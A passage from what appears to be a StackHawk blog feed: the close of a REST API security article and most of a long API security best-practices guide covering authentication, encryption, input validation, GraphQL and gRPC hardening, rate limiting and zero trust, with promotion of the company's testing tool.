Model&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Adopting a zero-trust model means not trusting any user or system, even within your network perimeter. This means strict authentication and authorization verification, as well as applying the principle of least privilege and network segmentation to limit lateral movement.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automate Scanning and Testing for Vulnerabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Scan and test your REST API for vulnerabilities regularly. To catch issues early, this should be an automated part of your development process, ideally in your CI/CD pipeline. Use dynamic and static application security testing tools to analyze your code and stay updated with new security threats and patches.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Secure the Underlying Infrastructure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The infrastructure hosting your API endpoints is the foundation. Regular updates, patches, strict firewall rules, and intrusion detection systems are necessary. In a cloud environment, use the security features provided by the provider and follow best practices in access and account management, especially ensuring that users are using secure passwords that are changed frequently and enforcing multi-factor authentication.&lt;/p&gt;&lt;p&gt;These best practices will provide a solid security framework for your REST APIs. However, always consider the specifics of your API deployment, such as regulatory requirements and the type of APIs you are managing, as there may be additional best practices to be aware of!&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Augmenting API Security With StackHawk&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As mentioned in our breakdown of best practices, StackHawk is pivotal in reinforcing some of the API security concepts outlined above. It is a dynamic application security testing (DAST) tool built for developers, offering a suite of automated testing capabilities that align closely with best practices for API security.&lt;/p&gt;&lt;p&gt;The platform is easy to use and automated, and it provides a best-in-class experience for developers to create secure APIs. Let&amp;#39;s examine some of the benefits StackHawk offers API developers and their teams.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automated Security Risk Tests&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk provides an automated suite to test against common and more advanced API security risks. The platform helps to identify and resolve issues like&lt;a href=&quot;https://stackhawk.com/blog/what-is-sql-injection&quot;&gt; &lt;u&gt;SQL Injection&lt;/u&gt;&lt;/a&gt; and Remote OS Command Injection before deployment. This capability supports the abovementioned best practices involving regular security audits and penetration testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integration with CI/CD Pipelines&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The platform also&lt;a href=&quot;https://docs.stackhawk.com/continuous-integration&quot;&gt; &lt;u&gt;integrates easily with CI/CD pipelines&lt;/u&gt;&lt;/a&gt; and can be set up to ensure every pull request is checked for new vulnerabilities. This ties in nicely with the best practice of testing in development to prevent shipping vulnerabilities to production.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Modern Tooling for Various API Types&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Unlike other tools, StackHawk can support a wide variety of API types for testing. The tool caters to modern application architectures by supporting REST, GraphQL, SOAP, and gRPC APIs. This helps ensure that your entire API portfolio has blanket coverage instead of excluding API types that other tools may not support.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Efficient Vulnerability Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The most powerful outcome for developers who use StackHawk is fast detection and detailed remediation documentation. StackHawk streamlines the process of fixing vulnerabilities, making developers&amp;#39; lives easier and the APIs they create more secure. By making the tool developer-friendly, API vulnerability management becomes easy to implement and utilize.&lt;/p&gt;&lt;p&gt;By incorporating StackHawk into your API development lifecycle, you can make significant progress toward maintaining a high-security standard and adhering to the best practices outlined in this guide.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As we wrap up our focused exploration of REST API security, the critical and complex nature of these practices is evident. This guide has guided you through the essential aspects of securing REST APIs, starting with foundational principles, including those highlighted in the &lt;a href=&quot;https://stackhawk.com/blog/api-security-owasps-top-10-vulnerabilities-explained&quot;&gt;&lt;u&gt;OWASP API Top 10&lt;/u&gt;&lt;/a&gt;, and advancing to the strategies needed for robust REST API security. We&amp;#39;ve also discussed strategic best practices vital for strengthening your digital defenses, emphasizing their relevance in the context of REST API security.&lt;/p&gt;&lt;p&gt;In the ongoing journey to achieve security excellence, tools like StackHawk prove invaluable. StackHawk equips teams with the means to enhance their REST API security strategies effectively. Offering automated security testing specifically designed for modern REST APIs, seamless integration with CI/CD pipelines for early detection of vulnerabilities, and compatibility with a wide range of RESTful architectures, StackHawk ensures that your security measures keep pace with your evolving APIs.&lt;/p&gt;&lt;p&gt;As you aim to apply the insights from this guide to real-world security improvements, StackHawk is a great place to start helping you discover and test your APIs for potential vulnerabilities. Create a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;free account&lt;/u&gt;&lt;/a&gt; with StackHawk, the first step towards achieving optimal security for your REST APIs.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[API Security Best Practices: The Ultimate Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-security-best-practices-ultimate-guide</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;Application Programming Interfaces (APIs) have become a staple in almost every &lt;b&gt;application&lt;/b&gt; and software we develop. They make up the fabric of how we, as developers, communicate and exchange data between applications. From the bustling &lt;b&gt;data exchanges&lt;/b&gt; of global financial systems to the subtle, everyday interactions within a smartphone app, APIs are core to functionality that users expect.&lt;/p&gt;&lt;p&gt;However, the critical role of APIs extends beyond just the functionality they provide; they are also vital to safeguarding &lt;b&gt;sensitive data&lt;/b&gt; and systems against &lt;b&gt;cyber threats&lt;/b&gt;. As APIs continue to boom in both usage and complexity, the imperative need to secure them has never been more critical.&lt;/p&gt;&lt;p&gt;This guide will explore many facets of API security to give you the knowledge to fortify your APIs against many potential security threats. This guide delves into the nuanced layers of API security, from the fundamentals to advanced protective strategies, ensuring that the &lt;b&gt;integrity&lt;/b&gt; and &lt;b&gt;confidentiality&lt;/b&gt; of your users&amp;#39; digital interactions remain secure and uncompromised.&lt;/p&gt;&lt;p&gt;Whether securing a RESTful service or navigating the new world of &lt;b&gt;GraphQL&lt;/b&gt;, this guide covers the complete landscape of API security to bring you the most effective and current best practices for keeping your APIs safe. Let’s start by looking at the most fundamental of all questions: what is API security?&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security is the protective shield between your APIs and the multifaceted threat landscape that is the byproduct of the interconnected nature of today’s digital ecosystem. API security itself is composed of many different aspects, spanning different protocols, systems, and tools. Each of these facets is designed to &lt;b&gt;prevent malicious attacks&lt;/b&gt; on or through APIs, helping to protect the building blocks of modern software communication. &lt;/p&gt;&lt;p&gt;API security ensures that &lt;b&gt;only authorized users can perform authorized actions&lt;/b&gt; at their most basic level. This is generally achieved through implementing robust authentication and authorization processes. These processes help to confirm user identities and grant permissions appropriately. Encryption also plays a critical role here, serving as a vital tool to protect data as it moves between servers and clients.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Monitoring and Logging&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API security doesn&amp;#39;t stop at access control; it also involves &lt;b&gt;monitoring and logging API activity&lt;/b&gt; to detect and stop potential threats, implementing rate limiting to prevent abuse, and managing the API lifecycle to mitigate vulnerabilities that attackers could exploit.&lt;/p&gt;&lt;p&gt;Unlike other processes within the software development lifecycle, API security is not a one-time setup but a &lt;i&gt;continual process&lt;/i&gt;. API security must evolve with the changing threat landscape and adapt to new types of APIs, such as what we saw with the advent of GraphQL, and the latest integration patterns. The goal is to create a &lt;b&gt;secure environment for data exchange&lt;/b&gt; that upholds data integrity, availability, and confidentiality while minimizing the attack surface that attackers could exploit.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why is API Security important?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With the pivotal role that APIs play in modern software and web applications, comes a significant risk; by their nature, APIs are exposed to the open internet, &lt;b&gt;making them a prime target for cyberattacks&lt;/b&gt;. The importance of API security stems from the need to protect sensitive data transferred between services, safeguard user privacy, and ensure malicious actors do not disrupt critical business operations through an attack.&lt;/p&gt;&lt;p&gt;As we have seen within the last few years, the stakes of API security breaches are high. Such security incidents can lead to data theft, service outages, and significant financial losses. For instance, an unprotected API could allow an attacker to &lt;b&gt;siphon off sensitive customer data&lt;/b&gt;, resulting in identity theft and fraud. Often, we think about databases being compromised, leading to data breaches; however, this same data can also be leaked via API.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Breaches and International Regulations&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Due to these breaches, businesses may face regulatory penalties for failing to protect user data, with many standards and penalties being outlined in protection laws like&lt;a href=&quot;https://gdpr.eu/what-is-gdpr/&quot;&gt; &lt;u&gt;GDPR&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.hhs.gov/hipaa/for-professionals/privacy/laws-regulations/index.html&quot;&gt; &lt;u&gt;HIPAA&lt;/u&gt;&lt;/a&gt; that govern many industries.&lt;/p&gt;&lt;p&gt;API security, whether users fully understand it or not, is a big part of the trust users place in digital services. A single breach can severely impact a company&amp;#39;s reputation, causing a loss of customer trust and loyalty. Even more important is that &lt;b&gt;one vulnerable API can have many ripple effects&lt;/b&gt; due to the interconnected fabric of different services. An example would be if a compromised API is associated with other services and partners, amplifying the impact of a breach.&lt;/p&gt;&lt;p&gt;Therefore, proper API security, is not just a technical necessity but a business imperative. A solid approach and framework to API security are essential to ensuring that your organization offers a secure service for your users.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How do you secure a REST API?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Securing REST APIs starts from the ground up, preferably from the outset of building said APIs. Making sure that a REST API is secure has to be approached from many different angles. REST, or&lt;a href=&quot;https://www.redhat.com/en/topics/api/what-is-a-rest-api&quot;&gt; &lt;u&gt;Representational State Transfer&lt;/u&gt;&lt;/a&gt;, is a type of API that uses standard HTTP methods and is highly popular for its simplicity and statelessness. However, the same features that have led to the popularity of REST can be exploited if not properly secured. Let’s look at some basic security features and patterns to implement to secure a RESTful API.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Using Transport Layer Security (TLS)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Firstly, you’ll want to implement&lt;a href=&quot;https://www.cloudflare.com/learning/ssl/transport-layer-security-tls/&quot;&gt; &lt;u&gt;Transport Layer Security (TLS)&lt;/u&gt;&lt;/a&gt; to ensure that all data transmitted between the client and server is encrypted. One of the easiest ways to do this is to use an API gateway that allows you to use TLS, preferably&lt;a href=&quot;https://tetrate.io/learn/what-is-mtls/&quot;&gt; &lt;u&gt;mutual TLS (mTLS)&lt;/u&gt;&lt;/a&gt;, if available. Utilizing TLS functionality in your REST API mitigates the risk of data interception and unauthorized access during transmission. It’s a fundamental step that forms the baseline of REST API security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Identity Providers and JWT&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Secondly, authentication mechanisms are critical and should be implemented as well. Again, any API gateway or API proxy can be used to add this functionality easily. You often use an already established identity provider (IdP) such as&lt;a href=&quot;https://www.okta.com/&quot;&gt; &lt;u&gt;Okta&lt;/u&gt;&lt;/a&gt; or&lt;a href=&quot;https://auth0.com/&quot;&gt; &lt;u&gt;Auth0&lt;/u&gt;&lt;/a&gt; to generate tokens and manage identity. API keys or, more commonly, auth tokens, such as&lt;a href=&quot;https://jwt.io/introduction&quot;&gt; &lt;u&gt;JSON Web Tokens (JWT)&lt;/u&gt;&lt;/a&gt;, are a common method for securing REST APIs.&lt;/p&gt;&lt;p&gt;Tokens can help to ensure that only authenticated users can access certain endpoints. These tokens can also contain scopes and permissions that can be used for authorization, ensuring that &lt;b&gt;users can only perform the authorized functions&lt;/b&gt;. Tokens and API keys are preferred over basic authentication methods because they do not require transmitting usernames and passwords with each request, a practice that also comes with risks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Input Validation in REST APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Lastly, input validation is another essential practice that should be implemented. The basic principle applied here is that REST APIs should never trust the data they receive. Many API frameworks have various mechanisms to help with this, one of the most crucial being using the correct mechanisms for any database query. Rigorous validation of all incoming data helps to prevent common vulnerabilities like&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt; &lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt; &lt;u&gt;cross-site scripting&lt;/u&gt;&lt;/a&gt; (XSS).&lt;/p&gt;&lt;p&gt;This involves validating the types of data and sanitizing it to ensure that malicious user input is neutralized before it has the chance to do any damage. For those using an&lt;a href=&quot;https://swagger.io/specification/&quot;&gt; &lt;u&gt;Open API Specification (OAS)&lt;/u&gt;&lt;/a&gt;, formerly known as a Swagger specification, you can also use this document to verify that incoming data matches the data type expected for each field and some other attributes. However, this should only be used as a preliminary check as a supplement to good input validation built into your code.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;These foundational security measures are “must-implement” pieces for anyone creating REST APIs. Of course, many other advanced security features should be added for further protection that will be outlined in the best practices section later in the guide.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/rest-api-security-best-practices/&quot;&gt;&lt;u&gt;Learn more about securing REST APIs here.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How do you secure a GraphQL API?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Next, we will look at securing one of the most recent API technologies, GraphQL. As the adoption of GraphQL grows,&lt;a href=&quot;https://www.stackhawk.com/blog/graphql-security/&quot;&gt; &lt;u&gt;GraphQL APIs present a unique set of security challenges&lt;/u&gt;&lt;/a&gt;. Due to GraphQL’s query language and other features that make it more flexible than traditional API technologies, a new approach must be taken to secure the data within them. Unlike REST, which uses defined endpoints with defined requests and responses, GraphQL allows clients to query for exactly what they need, no more and no less. The dynamic nature of a GraphQL query or mutation can lead to some distinct security considerations.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authorization and Authentication in GraphQL APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First, much like what we discussed regarding securing REST API endpoints, ensuring that Authorization and Authentication are in place is crucial to safeguarding resources. Unlike REST, &lt;b&gt;this becomes relatively complex with GraphQL&lt;/b&gt;. Ensuring the user is authenticated to use the GraphQL API can follow a similar pattern to REST, using many of the same mechanisms and technologies.&lt;/p&gt;&lt;p&gt;The complexity comes with the authorization piece, where you may need the ability to control read and write access to certain fields within the GraphQL API. Some API gateway can help with this, as well as the GraphQL framework or platform you use to build the APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Input Validation in GraphQL&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Secondly, like REST, securing a GraphQL API requires developers to validate and sanitize all input to prevent malicious activity, such as injection attacks. With GraphQL, this is once again slightly more complex than other API technologies since queries and mutations can be complex and require validation and sanitization to be done at a granular and modular level.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Managing Query Complexity&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another important aspect of securing a GraphQL API is managing query complexity to prevent resource exhaustion, resulting in a&lt;a href=&quot;https://www.cloudflare.com/learning/ddos/glossary/denial-of-service/&quot;&gt; &lt;u&gt;denial of service attack.&lt;/u&gt;&lt;/a&gt; For instance, a common way that GraphQL resources can be exploited is through batching attacks or deeply nested queries. You can mitigate such risks by putting a mechanism in place to limit the depth and breadth of queries, possibly through depth limiting or pagination. As of late, some API gateways that support GraphQL can add these checks and enforce them at a policy level.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;GraphQL Introspection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;One last consideration that is unique to GraphQL is to consider the implications of&lt;a href=&quot;https://medium.com/@chandramuthuraj/graphql-introspection-8467944b024e#:~:text=Introspection%20in%20GraphQL%20is%20a%20powerful%20feature%20that%20enables%20dynamic,mutations%2C%20and%20their%20associated%20documentation.&quot;&gt; &lt;u&gt;introspection&lt;/u&gt;&lt;/a&gt;. As users of GraphQL know, introspection is a feature in GraphQL that allows the querying of the schema through an introspection endpoint. While this is useful for developers who want to use the service, in production, it might give attackers insights into your API that could be exploited. In the case where the introspection endpoint can’t be disabled, you should think about &lt;b&gt;severely restricting the amount of data that is exposed&lt;/b&gt; through the introspection endpoint.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;By putting the above security measures and considerations into practice with your GraphQL development, you’ll have the base of a secure GraphQL API. It’s important, though, to remember that these strategies are part of a larger security posture, which we will look at further in the API Security Best Practices section later in the guide.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How do you secure a gRPC endpoint?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The last type of API we will look at will be&lt;a href=&quot;https://www.stackhawk.com/blog/best-practices-for-grpc-security/&quot;&gt; &lt;u&gt;gRPC&lt;/u&gt;&lt;/a&gt;. gRPC, a high-performance RPC (remote procedure call) framework created by Google, relies on HTTP/2 for transport and Protocol Buffers as its interface description language. To secure gRPC APIs, &lt;b&gt;you must address the protocol and the message formats&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Firstly, similar to what was mentioned with the other types of APIs we covered, gRPC services should employ TLS for transport security. Doing this helps to ensure that all data transmitted via gRPC is encrypted and secure from interception. For message-level security, you should utilize the built-in authentication mechanisms provided by gRPC, such as token-based authentication, which can integrate with identity providers such as Auth0 and Okta.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Input Validation in gRPC Endpoints&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Additionally, you’ll also want to make sure always to validate and sanitize all incoming data to prevent injection attacks. With gRPC&amp;#39;s strict schema definitions, you can enforce message validation based on the defined&lt;a href=&quot;https://protobuf.dev/&quot;&gt; &lt;u&gt;Protocol Buffers&lt;/u&gt;&lt;/a&gt;. This can help detect abnormal messages that could be part of a potential attack, allowing you to add a mechanism to stop such malicious traffic or activity from becoming catastrophic to the system or data within it.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Comprehensive Access Controls&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Lastly, you’ll want to implement fine-grained access control for the service. This is particularly important with gRPC due to its ability to create complex service-to-service interaction patterns. If such interactions go unchecked, attacks may be able to penetrate deep into the systems that are exposed through the gRPC calls. By implementing a &lt;b&gt;robust access control strategy&lt;/b&gt;, you can ensure that services only have the permissions necessary to perform their intended functions.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;Securing gRPC APIs also involves monitoring and logging all operations to detect and respond to suspicious activities promptly. Robust monitoring and logging also create an audit log, which can be used to see the impact of attacks if they do make it through your defenses. The principles above tie into the more advanced security measures and best practices we will cover later in this guide.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What are the principles of API Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to best practices, they are usually driven by underlying principles that help to inform them. Like other best practices, API security is underpinned by principles that guide the development and implementation of secure APIs. Drawing from the&lt;a href=&quot;https://www.stackhawk.com/solutions/owasp-top-10/&quot;&gt; &lt;u&gt;OWASP Top 10&lt;/u&gt;&lt;/a&gt; for API Security, these principles can be summarized into key areas of focus, many of which we already touched on above. Let’s briefly look at these key areas, listed below, before diving into the best practices section of the guide.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authorization and Access Control&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Effective access control is crucial for securing APIs. It’s not enough to authenticate users; systems must also have proper access controls to check that each user has the right to access or modify their requested resources. This involves implementing checks at both the object level (ensuring users can access only the objects they are permitted to) and function level (actions they can perform). For instance, OWASP highlights&lt;a href=&quot;https://www.stackhawk.com/blog/understanding-and-protecting-against-api1-broken-object-level-authorization/&quot;&gt; &lt;u&gt;broken object-level authorization&lt;/u&gt;&lt;/a&gt; as a common issue, where APIs expose endpoints handling object identifiers, creating a broad attack surface for unauthorized access.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authentication Integrity&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Authentication is the first line of defense regarding common API security risks. A robust authentication process ensures that only legitimate users can access the API. OWASP notes that&lt;a href=&quot;https://www.stackhawk.com/blog/net-broken-authentication-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;broken authentication&lt;/u&gt;&lt;/a&gt; is a common risk, where attackers compromise authentication tokens or exploit flaws to assume other users&amp;#39; identities. Solutions like multi-factor authentication, token blacklisting, and the use of short-lived access tokens can help to mitigate this risk significantly.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Data Exposure and Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;With data being collected continuously, private and sensitive data is abundant within the API landscape. Excessive data exposure occurs when an API sends more data than necessary to the client. To combat this, data should be carefully validated on both &lt;b&gt;input and output&lt;/b&gt; to protect the system from malicious data and to ensure sensitive information isn’t exposed to the client.&lt;/p&gt;&lt;p&gt;OWASP combines this principle with mass assignment vulnerabilities, where attackers exploit overly wide permissions to modify data they shouldn’t have access to. A mechanism such as an allowlist for data processing and output can help prevent such exposures.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Resource Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Slightly different from our other principles, this principle is more rooted at the infrastructure level. Here, we are focused on conserving and allocating server resources to prevent service outages or degraded performance. This could be due to a malicious attack or an unintentional issue with how the client uses the API.&lt;/p&gt;&lt;p&gt;OWASP identifies unrestricted resource consumption as a potential risk, which can lead to &lt;b&gt;denial of service or increased operational costs&lt;/b&gt;. By implementing rate limiting, quotas, and other controls, you can manage the load on the API and its underlying services to ensure that everything stays within the anticipated ranges.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Configuration Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another factor affecting infrastructure is proper configuration management. By following the proper protocols and best practices for configuration, you can ensure that security controls and settings are defined, implemented, and maintained as intended. Misconfigurations can lead to security gaps and are often cited by OWASP as a prevalent risk within the API ecosystem.&lt;/p&gt;&lt;p&gt;Regularly reviewing and updating configuration settings, automating configurations through&lt;a href=&quot;https://www.redhat.com/en/topics/automation/what-is-infrastructure-as-code-iac&quot;&gt; &lt;u&gt;Infrastructure as Code (IaC)&lt;/u&gt;&lt;/a&gt; practices, and employing configuration management tools can help maintain a strong security posture throughout all your environments and applications.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Secure Dependencies&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Our last principle revolves around the code that our APIs and applications rely on. Dependencies, such as third-party libraries and APIs, can introduce vulnerabilities we may not be aware of. OWASP cautions against the unsafe consumption of APIs and dependencies, where developers may inadvertently trust these third-party resources without proper security consideration. Conducting regular security reviews of third-party services, using&lt;a href=&quot;https://www.stackhawk.com/blog/software-composition-analysis-sca-overview-and-tooling-guide/&quot;&gt; &lt;u&gt;Software Composition Analysis (SCA)&lt;/u&gt;&lt;/a&gt; tools to detect vulnerable components, and applying security patches promptly are key strategies for securely using dependencies.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;The principles above form the bedrock of secure API design and operation. By adhering to these principles, organizations can create secure APIs that meet functional requirements. Successful organizations must resist the advanced threats that target today&amp;#39;s digital infrastructure, especially when it comes to their APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that we have covered all of the basics, it’s time to put these concepts into practice by looking at API security best practices. In this list, we will comprehensively go over different tools and strategies you can use to make sure your APIs are as secure as possible. Let’s dive into the API security best practices you should be applying to your APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Conduct Regular Security Audits and Penetration Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First,&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-audit-an-in-depth-guide/&quot;&gt; &lt;u&gt;security audits&lt;/u&gt;&lt;/a&gt; and penetration testing are needed to test your API’s security protocols. These testing methods are designed to uncover and address vulnerabilities early in development. Regular security audits involve comprehensively examining your API&amp;#39;s infrastructure, policies, and codebase to ensure compliance with security standards. Penetration testing, on the other hand, involves simulating cyberattacks to test the resilience of your API against real-world threats.&lt;/p&gt;&lt;p&gt;To implement this, you should schedule regular audits within your development cycle and after any major changes to your API. By using a tool like&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;, you can automate vulnerability testing, while hiring external penetration testing teams can provide an outsider&amp;#39;s perspective on your API&amp;#39;s security. Regular testing helps identify authentication, authorization, and processing logic weaknesses that attackers could exploit.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Implement Strong Authentication and Authorization Checks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Next in importance is authentication and authorization. These mechanisms form the gateway through which access to your API is regulated. As we covered earlier, authentication verifies the identity of users, while authorization determines what they should have access to. A weakness in these areas can lead to unauthorized access and potentially full system compromise.&lt;/p&gt;&lt;p&gt;To implement authentication and authorization, adopt protocols like OAuth 2.0 and&lt;a href=&quot;https://www.microsoft.com/en-us/security/business/security-101/what-is-openid-connect-oidc#:~:text=OpenID%20Connect%20(OIDC)%20is%20an,who%20they%20say%20they%20are.&quot;&gt; &lt;u&gt;OpenID Connect&lt;/u&gt;&lt;/a&gt; to manage user authentication securely. For authorization, define clear access control policies using&lt;a href=&quot;https://www.digitalguardian.com/blog/what-role-based-access-control-rbac-examples-benefits-and-more&quot;&gt; &lt;u&gt;role-based access control (RBAC)&lt;/u&gt;&lt;/a&gt; or&lt;a href=&quot;https://www.accessowl.com/blog/rbac-vs-abac&quot;&gt; &lt;u&gt;account-based access control (ABAC)&lt;/u&gt;&lt;/a&gt;, ensuring that users can only interact with API resources appropriate to their role. Implementing&lt;a href=&quot;https://support.microsoft.com/en-gb/topic/what-is-multifactor-authentication-e5e39437-121c-be60-d123-eda06bddf661&quot;&gt; &lt;u&gt;multi-factor authentication (MFA)&lt;/u&gt;&lt;/a&gt; can add another layer of security, significantly reducing the chance of unauthorized access.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encrypt Data in Transit and at Rest&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Encryption is a necessary practice when it comes to data and information being sent and received by APIs. Encryption converts data into an unreadable format without a key, which is crucial for protecting sensitive information from eavesdroppers. Data in transit refers to data moving across the network, while data at rest is stored on a disk. Both of these states apply to data being transmitted through APIs.&lt;/p&gt;&lt;p&gt;When implementing this best practice, to ensure data is encrypted in transit, use TLS with strong cipher suites. Tools like&lt;a href=&quot;https://letsencrypt.org/&quot;&gt; &lt;u&gt;Let’s Encrypt&lt;/u&gt;&lt;/a&gt; provide free TLS certificates, helping to streamline this process. For data at rest, apply encryption algorithms like AES and manage the encryption keys securely using managed key services provided by cloud providers or even hardware security modules (HSMs).&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Effective Error Handling and Logging&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Effective error handling at the code level helps ensure that API errors do not leak sensitive data, while logging records an audit trail of events for later review or real-time analysis. Poor error handling can give attackers clues about the API&amp;#39;s internal workings, aiding them in crafting more effective attacks. If attackers can gain access to logs, they could also gain access to private data being logged.&lt;/p&gt;&lt;p&gt;You’ll need to develop a strategy for uniform error responses that conceal implementation details to implement this. Use logging to track and record API transactions, which can help in post-incident analysis and detect patterns indicative of abuse.&lt;/p&gt;&lt;p&gt;Ensure any sensitive details are masked or not included in the log output when logging. Tools like&lt;a href=&quot;https://www.elastic.co/elastic-stack&quot;&gt; &lt;u&gt;ELK Stack&lt;/u&gt;&lt;/a&gt; or Splunk can aggregate logs for analysis, and cloud services often offer integrated logging solutions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use Throttling and Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Throttling and rate limiting control the number of API requests a user can make in a given timeframe. Throttling controls the amount of throughput, queuing API traffic from calls that have exceeded the throttle limit so they can still be processed in a controlled, non-spiking manner. Rate limiting is a hard limit that will cut off the API request and return an error response to the API caller. Both of these mechanisms help to prevent service overuse and protect against denial-of-service attacks.&lt;/p&gt;&lt;p&gt;The easiest way to implement throttling and rate limiting is by using API gateways or middleware to manage these rules and policies. When configuring rate limiting and throttling, set sensible defaults based on user behavior and scale them according to your service capacity. These settings can often be adjusted in real-time to respond to observed usage patterns or attacks. Examples of gateways that make this easy include Kong, Tyk, and AWS API Gateway.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Ensure Proper API Versioning and Deprecation Strategies&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As time passes, you’ll likely continue improving your API from a performance, functionality, and security perspective. You’ll want to make it easy for your API consumers to understand what version of your API they are using, especially if you’ve improved security on the API endpoint. Versioning allows you to make changes and improvements to your API without disrupting existing clients, while a deprecation strategy provides a planned transition for users from old to new versions.&lt;/p&gt;&lt;p&gt;To implement this, you should adopt a clear versioning strategy, like Semantic Versioning (SemVer), which uses a three-part version number: major, minor, and patch. Once a new version of the API is released, communicate changes through a changelog. If you plan to deprecate older APIs, provide ample warning before deprecating old versions and a path for users to migrate to newer versions. Using tools such as API management platforms can help facilitate the control of different API versions and the smooth transition between them.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Embrace a Zero-Trust Network Model&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another best practice to adopt across all the applications and services you provide, including your APIs, is a zero-trust network model. A zero-trust model operates on the principle that no user or system should be trusted by default, even inside the network perimeter. This is particularly important in modern environments where perimeter defenses alone are insufficient. It gives additional security to services when a perimeter defense has been compromised, limiting the impact of intrusions.&lt;/p&gt;&lt;p&gt;To implement zero-trust, there are a few pieces to put in place. First, enforce strict user verification at every level to ensure users are authenticated and authorized. Next, use the principle of least privilege (PoLP) to ensure that a user or entity only has access to the specific data, resources, and applications 